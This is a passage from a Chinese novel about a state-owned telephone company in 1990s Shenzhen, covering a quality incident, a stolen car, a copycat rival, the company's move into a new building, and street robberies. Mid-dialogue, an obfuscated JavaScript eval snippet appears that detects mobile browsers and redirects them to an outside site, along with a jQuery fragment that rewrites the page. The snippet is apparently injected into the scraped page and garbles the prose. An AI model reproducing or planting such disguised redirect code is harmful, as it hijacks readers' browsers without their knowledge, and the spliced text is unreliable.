一切准备妥当,周亚平的太太沈珍钰和女儿萌梦从家乡来到了深圳,一家人终于在特区团圆了。 沈珍钰上班的公司离家不远,她都懒得去坐公交车,每天走路上下班。周亚平的公司离市区很远,每天必须开车上下班。好在从公司买进人货两用车时开始,周亚平就慢慢学会了开车,现在每天可以开着“皇冠”车上下班,路程虽远,倒也不太为难。 说起学习驾车,也有一段插曲。 前面提到的“登云”一家供应商的老板吴树慧,就是介绍周亚平购买二手“皇冠”车的那位。这位仁兄,待人宽厚诚恳,大方热情,深得周亚平的欣赏,两人逐渐从买卖关系混成了朋友关系。有一次,周亚平有要事要出门,此时小白又不在厂内,急得直跳。刚好吴树慧来厂送货,马上二话不说,载了周亚平就去办事。 事后周亚平连声称谢,吴树慧却提醒他:“周总,你为什么不自己学会开车呢?学会了,有什么急事可以自己开呀。” 由此,周亚平开始在吴树慧的指导下开始学车。 那段时间,每个星期日,吴先生都会到“登云”来,教周亚平开车。 吴树慧教学的方式颇有特色。首先,两人坐上车后,未启动时,他把小车的各个操作部分逐一详细介绍;然后,要周亚平坐在副驾驶位,让他观察自己开车,一边开车还一边讲解;最终,把车开到一个刚平整完的大建筑工地,换过来,让周亚平到驾驶室亲自操控。 由于是休息日,整个工地空无一人,地面宽敞平整,真是学车的绝好场地。周亚平开动汽车,毫无顾忌,随心所欲,前进后退,起步渐停。 学习进度非常快,才三、四个星期天,周亚平便已掌握基本驾车操作。 开始正式上路了,吴树慧选择了一条行人相对较少的地段,让周亚平慢慢开车前行,自己坐在一旁指导。待周亚平慢慢熟悉以后,又换成城市最繁忙的马路让他去驾驶。这种循序渐进的教学方式,使周亚平在较短的时间里就学会了驾驶技术。在这同时,周亚平想法办了一个驾驶执照,自此,实现了独自开车上路。 除了教会周亚平开车,吴树慧还经常鼓捣周亚平离开国营体制,自己创业。他以自身的 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周亚平知道,在当前这种形势下,“登云”公司这种小公司在总部眼中微不足道,如果提出改制,善于跟风的集团总部估计不会反对。一旦真的买下这间公司,自己一定可以发财致富。但反过来一想,当初,总部的领导和同志们十分信赖地把资金交到自己手上,安排来深圳办企业,现在公司要发达了,自己却背信弃义,贪图私利,岂不可鄙。 因此,周亚平一直没有答应与吴树慧合作之事。 周亚平虽然上下班自己驾车,但在上班时间,公事出车,一般还是让小白开车。 这天,为了处理一个重大的质量事故问题,周亚平和质检部秦经理叫了小白,急急忙忙去停车场,准备开车到一家电解电容的供应商公司去。 最近发生的这件事故,是一家客户反映,上个月从“登云”公司购买的3000台电话机,出现了严重的质量问题。要求全部退货并赔偿损失。 这是一家内地的邮电局。以前,各个邮局的放号机(即由邮局帮用户新安装线路所用的电话机),都是由上级器材公司直接调拨,本身没有采购权。后来逐渐放宽,可以自由采购了。这个客户是好不容易才争取到的,周亚平非常重视,所发的电话机,在出货前被要求一台一台重新检查一遍,想不到竟然还会出现质量问题。 而且,对方反映的问题也很诡异,说是电话机平时白天没什么毛病,就是晚上半夜时分,突然发出轰响,他们戏谑地称为“半夜鸡叫”。“登云”公司派出的技术人员到客户那里实地检查及拿回样品反复检测后,找到了这一怪异现象的起因。 原来,所谓的“半夜鸡叫”,其实是电话机免提键自动开启,发出轰响,由于晚上夜深人静,显得响声格外大。为什么电话机免提键会在半夜自动开启呢,技术人员经过测量,发现该邮电局的交换机供电电流日夜变化很大,深夜时,电话机使用量极少,故供电电流大大超过额定值。这对于质量正常的电话机,是可以承受的,但“登云”厂供应的这一批话机,电路板上有一个电解电容质量不合格,有漏电现象。在深夜较大的供电电流冲击下,打破了免提电路的阈值,从而启动了免提开关,造成轰响。 周亚平与秦工准备去的这家供应商,就是这个质量事故的肇事者。除了兴师问罪,周亚平希望由该公司承担由此造成的经济损失。 三人走近停车场的出口,发现正好有部小车开到出口栅栏处,栅栏缓缓升起,那部小车迫不及待地呼啸着冲出,从三人身边快速开过。 还是小白眼尖,一声惊呼:“这是我们的车呀,谁在开我们的车?” 周亚平与秦工两人也看清楚了,确实是自家的“皇冠”。只有两片钥匙,一片小白拿着,另一片在周亚平身上。难道?…… “偷车贼!”周亚平高叫一声,“快追!” 三人一齐转身去追。 哪里追得上,不一会,“皇冠”已经无影无踪。瞅着公司的汽车在眼皮底下被盗走,心里真不是滋味,但又毫无办法。 周亚平安排小白马上去干两件事,一是报警,二是通知保险公司来查勘。他和秦工则叫了部出租车,继续赶往肇事的供应商公司。 与不良产品供应商的谈判结果不太理想,该公司最终只答应退回“登云”的购货款,其余的赔偿条件一概不接受。“登云”公司只能自己承担这次事故造成的损失。 后来事故的处理方式是,邮电局将已放号的电话机全部撤下,与还在仓库里的剩余产品一起退回“登云”公司,“登云”公司除了把货款全部汇还给客户,还象征性地做了一点赔偿给那家邮局。 这笔生意,“登云”公司遭受了惨重的损失。为此,周亚平扣罚了自己以及所有责任人三个月的奖金。 至于被盗的小车,结果也很尴尬。向派出所报警后,除了受到一番“今后要吸取教训,提高警惕”的教诲外,一无所得,哪怕一句“我们会全力追查”的安慰话都没有。不过,周亚平他们也还能理解,当时的治安环境下,这类事件太多了,派出所想管也管不过来。保险公司那边经过查勘,倒还是赔付了一些资金,但少得可怜。 由于出行少不了用车,吴树慧又张罗着帮“登云”买车。禁不住小白的怂恿,这次准备买的小车是全新的“皇冠”,但价格只有正规价格的60%,据说,这是走私车。讲究“有毒的不吃,犯法的不做”信条的周亚平开始说什么也不答应。但吴树慧拼命地劝说:“周总,你到了改革开放的实验田,脑袋瓜也应该开开窍。这种车所有的手续全部合理合法,牌照、证件齐全,有什么不能买的?说白了,这是广东沿海一些城市政府为了发展地方经济自己搞的走私车。人家不比你懂法律,懂政策?” 周亚平无语。 “登云公司”丢了两部车后,终于又有了一部全新的小车。 27. 二十七 “登云”公司关于购置厂房一事给总部的请示报告,经过两个多月的周折,终于如愿以偿,得到了批准。 购买厂房是周亚平近段时间的首要任务。 周亚平没想到,厂房销售,你卖我买的生意居然这么复杂。签约、付款以后,办理产权转让手续等一套操作非常繁琐,光找各个主管部门和相关单位签字盖章就让人跑断腿,最后数数文件上盖的公章,竟多达十几颗。 正式交房那天,周亚平带领中层干部都来到了新楼。 得知公司即将搬进这栋雄伟壮观的大楼,众人都止不住喜悦的心情,一个个爬上爬下,四处张望。 “周总,我们生产线准备放在几楼?”肖晓追问。 总务部经理陶伟明则关心另一个问题:“这么多层楼,我们公司用得完吗?看来食堂不要在外面租房了,也可以搬进来。” “那怎么行,这样漂亮的大厂房,怎么能放食堂?”有人反对。 一层一层往上爬,终于来到了楼顶,极目远眺,对面的广深高速公路,民房,还没开发的绿地,尽收眼底。 周亚平把众人召集到一块,问大家:“我们这个新家怎么样?还不错吧?” 大家异口同声的回答:“很好!” “现场也察看了,刚才就有人急不可耐地询问楼层安排问题,那好,我们回公司仔细研究一下,搞一个整体的布局规划。大家看了,这还是个毛胚房,真正要搬进来,必须好好装修一番。后面,我们要根据每一层的计划用途,制订装修方案并付诸实施。这可能还需要很长一段时间。大家不要着急,按部就班地去干吧。” 回到公司后,周亚平趁热打铁,在会议室和大家一起研究新厂房的布局安排。经过激烈的争辩、讨论,最终确定,大楼内,第一层用作模具和注塑车间,鉴于目前公司还没有这一建制,可以考虑引进合作企业;二楼用作行政办公场所;三、四、五楼为生产场地;六楼给仓库及后勤部门使用。 大方向确定后,装修计划就按此制订。随后,选择施工队伍,商讨施工方案,洽谈施工价格,一直到施工队伍进场,一系列的工作陆续展开。 光阴荏苒,眼看中秋节又快到了,陶伟明按惯例拿来一个名单请周亚平签字,这是一个中秋送月饼的名单,上面列入的是主要客户及相关单位、个人。 周亚平仔细观看了名单,没有发现什么不妥之处,掏出钢笔准备签字。突然,陈佑福匆匆忙忙地跑进办公室,大声嚷道:“周总,太不像话,太不像话!他们竟然敢干这样缺德的事情!” 周亚平放下笔,问陈佑福:“什么事呀,这么火急火燎?” “周总,你知道吗,朱庆桂已离开‘大漠’,单独出来开公司,不光销售电话机,还在宝安开厂生产电话机。” 这件事其实周亚平早就有怀疑,很长一段时间来,“大漠”公司从“登云”公司的购货越来越少,而且有传闻说他们已建立自己的电话机厂。 因此,周亚平平静地回答:“这不是早就有小道消息了吗,朱庆桂这家伙脑瓜子灵,看到生产电话机比他们销售电话机还赚钱,所以自己也来开厂。这种事我们已经见怪不怪了,有什么好生气的?” “不是办厂这件事,你要开厂自己生产,天要下雨,娘要嫁人,我们也没什么可说的。但这个家伙缺德的是,他看到我们8号机在市场畅销,居然完全仿照我们的产品去开模,甚至电路板的设计也是找专业公司抄数仿制,做出来的产品和我们的一摸一样。刚才要不是王老板悄悄给我打电话,我们还一直蒙在鼓里。” 陶伟明在旁边听了,气不打一处来:“啊!这么无耻,这还有没有王法?这是典型的侵权行为,我们必须去告他们。” 周亚平听到这个消息,也很愤怒,马上在心里酝酿各种应对手段。但思忖再三,发觉竟然没有太合适的制裁方式。 陈佑福见周亚平沉默不语,不解地问:“周总,你怎么不说话?后面怎么办?我看就按伟明说的,到法院去告他们仿冒伪劣,产品侵权。” 周亚平望了两人一眼,淡淡地说:“太天真了,现在搞市场经济,政府千方百计要搞活市场,谁会正经去管你这种鸟事。再说了,你去告他,他如果反咬一口,说我们8号机也是仿冒国外的机型,同样是侵权。到时候你拿石头打天?” “难道这事我们就不闻不问了不成?”陶伟明心有不甘地问。 “当然不能!”周亚平斩钉截铁地说,“虽然我们的8号机借鉴了国外的机型,但在很多地方做了改动,因此,构不成侵权。而他们完全是仿造,因此,场面上,我们是站在道德的制高点上。我们决不能让他们这款仿冒机那么顺顺利利地生产。首先,我们找律师起草律师函,这里面可以用仿冒伪劣及侵权的罪名警告对方,这份律师函邮寄给朱庆桂,同时抄送一份,派人送给为其制造这副模具并为其注塑机壳的工厂。其次,让常和平去找达哥,请他出面去找朱庆桂,同样警告朱不要胡来。” “达哥是谁?他找姓朱的那个小子有用吗?”陶伟明问。 “这也是没有办法的办法,当然是损招,但应该有用。” 其实,达哥是“登云”公司驻地附近派出所的一位民警,与公司常和平是牌友,两人关系一直不错。去年有一次,朱庆桂到公司来谈业务,当天没回广州,住在“登云”附近的一家旅社。当晚派出所人员开展扫黄行动,在该旅社当场抓住与小姐嫖宿的朱庆桂,带队的就是达哥。后来是常和平去派出所,找达哥说情,把朱庆桂给捞回来。受此一次惊吓,朱庆桂以后见到达哥,都会胆战心惊。 经过一番运作,果真起了作用。朱庆桂的仿制模具暂时被封存在模具厂,不敢再注塑机壳。“登云”的8 号机型,也暂时没有了“同胞兄弟”的竞争。 经过前前后后近半年的时间,“登云”公司新购的大楼才装修完毕。同时购买的各种生产设备也陆续运回新厂房,逐步进行安装调试。 “登云”公司从中层干部到普通员工,都在关心公司何时搬入新家,时不时有人来探询老总的口气。每当此时,周亚平都会模模糊糊地回答:“快了!新装修的厂房,气味太大,必须空置一段时间散散气,另外,设备还没有全部安装调试完成。但你们现在该考虑地是抓紧新产品开发,否则,搬了新家,却没有好的产品,搬家还有什么意义?” 最近,赖工的“曙光电子有限公司”有一款新电话机在市场销得火热,每天供不应求,行业内人员都有些羡慕嫉妒恨。周亚平打听到这款机的机壳是谢鞠科的工厂提供的,心想该到生产厂去了解一下机壳的情况。 叫了陈佑福,两人开车直奔谢鞠科的“赛亚”公司。 老朋友见面,非常亲切,谢鞠科笑着迎上来:“周总,好久都没见面了,什么风把你给吹过来了。” “谢总,听说现在发财了,我们过来讨点饭吃。”周亚平也打趣说。 “开玩笑吧,听说你们最近8号机、11号机和12号机都很畅销,一定是发了大财。” 宾主分头坐下,“赛亚”厂秘书端来茶水。 周亚平收起笑容:“言归正传,谢总,我这次来,就是听说阿赖那里有一款机销得特别好,是你提供的机壳。真不够意思,出了这么好的机壳,还对我们保密。” “那真是冤枉我了,我们怎么不想多几个客户,特别是你们这样的老朋友?但阿赖在我们厂有眼线,我们的模具图纸刚出来,他就找上门来,一定要签订机壳独家包销的协议,死缠硬磨的,没办法,签了协议,当然要守信,不能再卖给别人。” 谢鞠科说完,从身后的橱柜里拿出一台电话机,递给周亚平:“阿赖销得火爆的就是这款机。” 周亚平拿起话机,仔细端详,乍一看,这款电话机实在平淡无奇,体型较小,很不大气,怎么也够不上漂亮、完美。他直话直说:“谢总,这款机我原来看到过,说实话,很平常,我一直不理解它为什么会火起来。” “是吧,刚开始都是这种看法,”谢鞠科止不住地乐起来,“其实,你要仔细看,反复看,然后认真琢磨。它之所以受欢迎,首先是小巧玲珑,精致可人,便于放在床头,有人称其为‘床头机’。现在有不少人都喜欢把电话机放在床头柜上,太大太笨的电话机当然不合适,这种小巧的话机就是首选。其次是色彩鲜艳,机壳表面处理高档。你看,我们的这种机型只有两种颜色,一是纯白,二是纯黑,色彩鲜明亮眼。塑胶采用细致磨砂处理,表面喷亚光UV油,含蓄典雅。这些,很符合一些人爱好。第三,字键用透明的有机玻璃制成,数字底部采用炫彩处理,美观神秘,也得到不少人的喜欢。另外,还有非常重要的一点,产品结构简单,功能一般,故而成本较低,售价也不高。现在,便宜就是硬道理!” 听了谢鞠科的讲解,周亚平深受启发,说:“谢总,受教了。看来,我们开发产品的思路要更加宽广一些,需要考虑各个层次的用户需求。希望谢总下次有新开发的机型,一定要优先考虑我们‘登云’。” “好说,好说!” 谢鞠科笑着应承。 从“曙光”公司回来后,周亚平召开了一次中层干部会议,主要是介绍“曙光”之行的感悟,商议和部署下阶段新产品开发的具体事项。 会议中途,周亚平接到一个电话,是北方电话设备厂厂长柳津生打来的。由于正在会议当中,周亚平只好向对方说:“柳厂长,实在对不住,我正在开会,等一会我再给你打过去。” 会议一结束,周亚平赶忙回拨柳津生的电话,拨通后,再次表达歉意:“很抱歉,柳厂长,刚才在开会,让你久等了。” “没有关系,我知道你很忙,不好意思打扰你了。” 柳津生说。 “最近工作忙吗?”周亚平问。 “有什么忙的,” 柳津生叹口气,“已经到二线了,整天闲得发慌。” 周亚平惊讶地问:“你还没到55岁呀,怎么就到二线了 ?” 按照当时不成文的规矩,如果不是特别需要,中层干部一般到了55岁,就进入准退休状态——去二线当顾问、调研员什么的。 “咳,还不是上面领导一句话。在国营企业当厂长,确实不是人干的活。”柳津生愤愤不平地说。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15479026|169990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>周亚平回想起自己的经历,对这句话深有同感。突然,他脑子一转,心想,柳津生突然打电话来,莫不是想换个地方,到特区找个事干?行呀,公司要搬新厂房了,今后生产规模肯定要扩大,管理方面必须加强,自己一个人也顾不过来。柳津生怎么说也在部属电话机厂干了三十多年的厂级领导,让他过来,不是增加了一位很好的帮手吗。 想到这里,周亚平毫不犹豫地对柳津生说:“柳厂长,如果在内地不开心,你就到特区来,到我们公司来吧。不过只能屈才让你担任副总经理,如果你愿意,我马上向总部打报告,正式调你过来。” 柳津生没想到自己还未开口周亚平就先替他安排好了,一时不知说什么才好:“啊,啊,我没有意见,其实,我今天打电话给你就是想了解一下你们那里还有没有岗位,什么岗位都可以,职务不重要。真没想到老朋友这么爽快。” 周亚平笑起来:“行!就这么说定了。但你要做好思想准备,这边的天气比你们那边热得多,潮得多,你受得了吗?” 柳津生满不在乎地说:“潮热一点怕什么,我现在待在厂里度日如年,如今势利眼的人太多,我从厂长位置上下来后,别人看你的眼光都不一样,太难受了。” 柳津生的调动意想不到的顺利,因为总部领导已经意识到“登云”公司越来越大,必须配备一名副总经理,这是无论从工作需要出发还是从企业监督机制出发都必须考虑的。另外,领导层里,也有人替柳津生鸣不平的,认为北方厂的问题很复杂,不是他一个人的责任,现在让他换个地方重回一线,正合这些人的心意。 不到半个月,柳津生就风尘仆仆赶到了“登云”公司报到。 周亚平为柳津生举办了隆重的欢迎会。会上,周亚平给大家介绍:“柳总原来是我们集团所属北方电话设备厂的厂长。许多人不知道这个厂的来历,说出来可能会让你大吃一惊,这是我国最早的电话机企业。它的前身,是民国年代建立的一家电话机工厂,当时生产的是手摇磁石电话机,这家企业,应该说是我国电话机行业的老组宗。柳总现在来到我们公司,必将把他在北方厂工作几十年的经验带到我们厂,带领大家把‘登云’公司办得越来越好,为国家做出新的更大的贡献。” 第二天,周亚平带着柳津生来到装修一新的厂房大楼。 “柳总,这就是我给你说过的公司购买的新厂房,房款加上装修费用共计花了一千多万,你看还可以吧。” 柳津生惊叹道:“不是一般的可以,是很好!我以前也到特区参观过,那时看过的企业都是比较简陋的厂房。来前我真没想到,‘登云’的新厂房这么漂亮。” 逐层看完后,两人回到楼下院里。柳津生再次仰望大楼,问:“周总,这栋新楼叫什么名字?” 周亚平告诉他:“就叫‘登云大厦’。” “牌匾还未做好是吗?我看正面墙上还是光秃秃的?” “大家对这几个字的字体意见不一致,有的说用行书,有的要用隶书,还有的说用楷体。我个人一直想请一位政界名流或书法界泰斗题字,比较有意义。但至今找不到门路。” 柳津生略作思索,说:“我倒是认识一位新闻界的朋友,他与一位国字号的老领导的秘书是哥们。不知能不能请这位解放初期就是副总理的老领导给题个字?” 周亚平一听,非常高兴:“行啊!级别和资格都够老的了,而且他的字我见过,古朴俊秀,有书法功底。但能请动吗?” 柳津生答:“我们是正宗的部属国营企业,在深圳创业,依靠自己的努力,建成了厂房大楼,这是为国家做出的贡献,请领导题字是为了勉励我们更上一层楼。于公于私,这都是说得过去的,我马上打电话联系联系。” 柳津生得到的回复是老领导正在医院住院,不知能不能题字。但要求“登云”公司起草一封公函,直接写给老首长,要把为什么请领导题字的缘由写清楚。 于是,周亚平自己动笔,给老领导写了一封信函。信函的大意是,“登云”公司广大职工,不负部属集团公司的期望,用少量的国有资金在特区创业,经过苦心经营,奋力拼搏,取得了良好的经济效益和社会效益,其中,依靠盈利获得的自有资金建成“登云大厦”便是明证。请老首长题写楼名,既是为了铭记那段艰苦创业的岁月,也是为了不断提醒和勉励全体职工继续努力,做出更大的贡献。函件言简意赅又情真意切。 信函寄出去才两周,老首长题写的“登云大厦”几个大字及他本人的签名就寄回了公司。周亚平收到后大喜过望。 但柳津生面有难色地对周亚平说:“那个秘书说了,领导题字有个规矩,必须支付2800元的‘潤笔费’,说这绝不是卖字的价格。真要是卖字,‘登云’也付不起这个价格,这只是一种象征性的程序。” 周亚平禁不住笑起来:“柳总,这有什么问题,马上通知财务部门汇款支付。我们拿到了千金难买的老首长签字,太不容易了。” 没过多久,“登云大厦”及老首长签名的7个鎏金大字镶嵌在新厂房的正面墙壁上,格外醒目。 28. 二十八 周亚平从来不是一个信神拜佛的人,但他也从不反对别人的信仰,按照他的理论,各种正规的宗教一般都是引人向善的。 这次“登云”公司准备搬家,公司内好几个人鼓捣着请人看风水,择吉日,周亚平也默认了。他认为,如果大家都觉得这样做会带来好运,那就是一种正能量的心理暗示,就有可能促进事情向更好的方向发展。 “登云”公司遵照所谓“大师”指定的黄道吉日开始搬迁,花了一个多星期时间,终于全部搬迁完毕。 在“登云”搬进大厦的庆典上,周亚平满怀激情地发表感言:“我记得有一首歌,叫做‘我想有个家’,是潘美辰作词作曲并演唱的,歌词凄婉动人,摄人心魄。我们‘登云’也一直想要有个家,有个让全体员工大展拳脚的地方,有个为祖国的通信事业做出更大贡献的地方。今天我们终于有了一个属于自己的家,我们一定要百倍呵护,万分珍惜,把我们的家建设得越来越美丽、温馨和舒适,让她成为我们继续腾飞的基地,更强崛起的战场。” 搬进新楼的“登云”公司,出现了许多新的气象。不用说,首先是厂容厂貌焕然一新,新的厂房,新的设备,员工全新的工作服,在当地都是一道亮丽的风景线。其次,全体员工的工作积极性空前高涨,生产效率比搬家前提高了近两成。第三,产品质量大大提高,QA检查合格率连续达到全优。 前面所说的QA,是“登云”公司全面质量管理的一个环节。 “登云”的质量管理分成三大部分,即IQC ,IPQC ,QA。IQC是指来料的质量控制;IPQC是指制造过程的质量控制,即产品从物料投入生产到产品最终包装过程的品质管理;QA原意是质量保证,在“登云”厂,特指质量检验人员最后的出厂抽样检验。 周亚平非常清楚,搬家扩容后的公司最重要的不是生产能力的提高,由于场地的扩大,人员的增加,设备的更新,生产能力的提高是不言而喻。最重要的是市场的扩展,销售能力的增强。周亚平与柳津生商议,由柳副总亲自主持销售工作,挑选精兵悍将,组成全新的市场部。市场部向新老客户发送推销函件和宣传彩页,介绍公司新的厂容厂貌和新的生产场景,报告公司生产能力的大幅增加及产品质量的不断提高。同时,组织了一次对重点客户的走访,当面介绍和沟通。 通过这些,销售工作有了很大的发展。搬家后的“登云”公司,虽然产量逐渐增长,但产品销售跟上了生产的步伐。企业走上健康发展的道路。 周一的办公会正在大会议室举行,周亚平宣布会议开始后,照例是先由各个部门、车间各自汇报上周的工作小结及本周的工作计划。 正当生产部经理肖晓发言时,保安队长闯了进来,大声叫道:“周总,不好了!出事啦!搞不好要出人命。” 会场上一片骚动,周亚平示意大家安静,然后对保安队长说:“不要慌,慢慢说,怎么回事?” 这时,保安队长才详细地介绍了事情的经过。 原来,公司生产线一位姓洪的年轻女工,在前来上班的路上,遭到抢劫,身后一个骑着摩托的劫匪从她身边经过时,突然一把拽住她的挎包。如果她当时立即撒手,最多不过挎包被抢走,人不会有太大问题,但小洪反应很快,双手紧紧抓住挎包不放,而摩托车速度非常快,刹那间拖着小洪往前飞奔,随后,她被狠狠地摔在地上,脑袋砸在路边的石子上,顿时鲜血直流,人也昏死过去。 在周围群众的帮助下,小洪已经被120 急救车送进医院,公安部门也已介入,四处缉拿凶手。 会议就此中断,周亚平与肖晓、陶伟明立即开车前往小洪所在的医院。 小洪已经进了急救室。 按照医院的安排,陶伟明去办理伤者的住院医疗缴费手续。由于没有亲属在场,只好由肖晓在伤者的手术确认书上签字。周亚平向值班医生询问小洪的伤势情况,有无生命危险,医生回复:“目前还很难确定。” 周亚平心中非常焦急,这位女工万一有个三长两短,怎么办,怎么向她的家长交待? 三人守候在手术室外,中午都是在医院走廊上吃的快餐。 下午一点多种,小洪终于被推出手术室,医生告诉他们,手术很成功,伤者已经没有生命危险。至于今后能恢复到什么程度,还需继续观察。 把伤者送入病房后,周亚平说:“肖经理,看来小洪还得住较长时间的医院,你安排几个女工来医院轮流看护。陶经理,你立即给小洪的家里打电话,将此事告诉她的父母。一定要注意措辞和语气,不要让她家里人受到惊吓。” 小洪上班途中遭到抢劫且受重伤住院一事在“登云”公司引起轩然大波,员工们愤愤不平,议论纷纷。女工中,这个说自己被抢过项链,那个说自己被抢过手包。男工中,也有不少人有被抢劫、偷窃的经历。讲起这帮歹徒,一个个恨得咬牙切齿。 一个多月前,由于司机小白老是嚷嚷要去“自主创业”,周亚平已经安排他办理离职手续,离开了公司。现在担任司机一职的是新调来的,名叫张泰泉。他原来也是本系统在内地一家工厂的职工,老家在广东,一直想调回老家工作。听说总部在深圳有一家内联企业,就找到他们的一位副厂长,希望通过她出面,介绍到“登云”公司来。这位副厂长是个女性,也曾经与周亚平、柳津生同时参加过全国第一次厂长经理考试的培训。她给周亚平打电话后,“登云”公司这边也正好缺司机,一拍即合。张泰泉很快就调了过来。 这天,张泰泉送周亚平去IC供应商公司办事时,一路和周亚平聊起小洪受伤这件事,他一本正经地说:“周总,现在公司职工都人人自危,没有安全感,我们能不能像内地企业一样,成立民兵组织,向地方政府申请一批枪支弹药,武装起来,这样,歹徒们也会有些忌惮,员工们也会有一些安全感。” 周亚平一听笑了:“小张,公司里武装起来有什么用?这些偷盗抢劫行为都是在社会上 ,总不能每天派人持枪护送员工上下班吧?再说,这种事情不是今天才有的,我本人以前就遇到过两次。” 接着,周亚平把自己两次遭劫的经历说给张泰泉听。 一次是在搭乘公交车时遇到的。那次,由于公司小车送去修理厂,周亚平下班后搭乘公交中巴回家,当时车上大概有十几个乘客。行至半路,上来三个彪形大汉,分别占据中巴的前部、中部和后部三个位置。然后,站在后部的那位汉子,简直是明目张胆地在一个乘客衣服口袋里掏摸,另外两个大汉叉手冷眼旁看。奇怪地是,被掏摸的人以及其他乘客,明明都知道此人正在行窃,却没有一人吱声。那位大汉把掏出的钞票从容放入自己口袋,又接着对第二位乘客故伎重演。 周亚平平时出门一般不会带多少零钱,但这天却有3000元的公款放在身上。看到以上情景,惊出一身冷汗。 按理说,车上有十几位乘客,如果齐心协力,肯定三个窃贼不敢妄为,但现在看来,众人都在明哲保身,周亚平暗想,现在我也只能自保。 他悄悄地把现金转移进裤口袋,然后,慢慢站起身,把双手分别插入两边的裤口袋里,撑得鼓鼓囊囊,似乎口袋里暗藏着什么武器,用很烂的粤语对司机高叫一声:“有落!”,就往车门走去。站在中间的大汉凶巴巴地望着周亚平,周亚平以更凶的目光盯着这个汉子,这个汉子下意识地侧身,让周亚平走过去。周亚平依法炮制,又通过了第三个汉子,终于在中巴停下的地方顺利下车。 另一次更加惊险。 那还是周亚平来特区的第二年,当时他住在公司宿舍里,从公司到宿舍要经过一片荒地。一天晚上,周亚平在公司加班到很晚才回宿舍,经过那片荒地时,突然冒出两个小伙子,一人挡在周亚平的前面,另一人用一把尖刀顶住他的后腰,凶狠地说:“老实点,不要动!”挡在前面的歹徒则说:“自己掏出来吧!” 说也奇怪,面对这种情景,周亚平竟然并不慌乱,在衣服口袋里掏出一把零钱,递给劫匪,平静地说:“就这些了,全给你们。” “手上戴的是什么?快取下来!”后面那个歹徒吼道。 周亚平手上是一块戴了多年的上海牌手表,其实不值多少钱。他迅速地取下手表,交给劫匪。 前面那个歹徒好像对收获的东西仍不满意,亲自动手搜摸周亚平的口袋,结果也没有摸到值钱的东西,反倒把周亚平的一串钥匙顺带掏出来,滚落在草地上。 这串钥匙里,大部分是公司的钥匙,有大门钥匙、贵重物料仓库钥匙、保险柜钥匙等,非常重要,如果真丢了,明天公司整个工作秩序都会被打乱。周亚平想到这点,慌了起来,竟然不顾处境地大叫:“你们要钱给钱,要表给表,还要怎么样?我的钥匙丢了,回家怎么开门?” 谁知这么一吼,让两名劫匪都手足无措了,一齐俯身下去,帮助周亚平在草地上寻找钥匙。钥匙找到了,周亚平松了一口气,两个劫匪也悻悻地离去。 周亚平事后想起这一幕,十分后怕。自己怎么这样糊涂,居然在劫匪面前耍小性子,万一惹恼匪徒,捅你一刀,那年头,你去拿石头打天?所幸这两个小伙子可能入行不久,人性未完全泯灭,才未造成严重后果。 张泰泉听了周亚平的述说,顿时感到毛骨悚然,连连砸着嘴巴说:“真不知周总还有这样的遭难。必有后福,必有后福!” 就小洪一事,周亚平他们在向公安部门报案时,曾多次咨询过公安干警,现在已经是二十世纪九十年代了,为什么抢劫、偷盗事件还是这样层出不穷,为什么当前的治安状况这样恶劣。属地派出所有一位据说是北京某政法学院毕业的警官说了一番话,给人印象很深。他是这样说的:“特区是改革开放的前沿阵地,全国各地大量的人员奔赴而来,未免鱼龙混杂,泥沙俱下。有人是真心来创业的,有人是来寻找商机的,也会有些不法之徒是来趁火打劫的。还有的人暂时找不到工作或者不愿意找一份正当的工作,最终走入歧途。另外,一个当初7000人的边陲小镇短时间内发展成为一个拥有上千万人口的新都市,管理体制、管理人员、管理经验都无法跟上。实话实说,民警队伍中也良莠不齐,我们中也有腐败分子,确实有的地方警匪一家,更加剧了治安形势的恶化。” 为了平息企业员工的焦躁不安情绪,“登云”公司召开了员工大会,一方面通报了受伤女工的治疗情况和康复状况,一方面进行安抚及安全教育。周亚平在讲话中引用了那位警官的分析,说明当前不良的治安状况产生的原因,并希望大家相信国家,相信政府,一定会不断解决这些问题,确保长治久安。周亚平最后告诫大家:“社会治安不好的现状可能会要延续较长一段时间,希望全体员工提高警惕,注意自我保护。晚上不要外出,上下班时最好不要独行,出门在外时,女孩子尽量不要佩戴项链、耳环、手镯及携带手袋、挎包,男孩子身上也尽量少带现金。现在没有其它办法,只能是以退为进,不让歹徒有更多的机会。” 随着时间的推移,小洪康复出院,“登云”公司恢复了往日的平静。 谁知,一波已平,一波又起。没多久,“曙光”公司传来更加骇人听闻的消息。 “赖工被杀了!”,各种渠道都在传播。 “曙光电子有限公司”总经理赖炅明是周亚平和谢鞠科的老同事、老朋友,听到消息后,两人马上互通电话,询问情况。为了更多地了解详情,两人约好,同时去了“曙光”公司。 公司已经停产,除了保安人员,厂内空空荡荡。 门卫中有人认识两位老总,因而搬了两把椅子让周、谢二人坐在门卫室外。 “事情是怎么发生的?”谢鞠科问。 那位年纪较大的保安可能是负责人,他知道来的这两位是本公司赖总的好朋友,因而如实相告:“当时值班的是另外两位同事,他们现在还在派出所提供证词。据他们说,昨天晚上12点钟左右,公司突然闯进4个歹徒,首先用刀逼着我们的同事,把他们的手脚捆住,把毛巾塞进他们嘴里,然后把两人关进传达室。看来他们了解赖总的生活习惯,知道赖总此时还在办公室,他们就一直守在楼下。昨天不是星期天吗,赖总晚上下班还比较早,大概12点多钟就下楼了。” 周、谢两人知道,赖工的作息规律非常奇特,每天下午才上班,一直工作到凌晨两、三点钟才离开办公室。回家后又要睡到中午才起床吃饭。 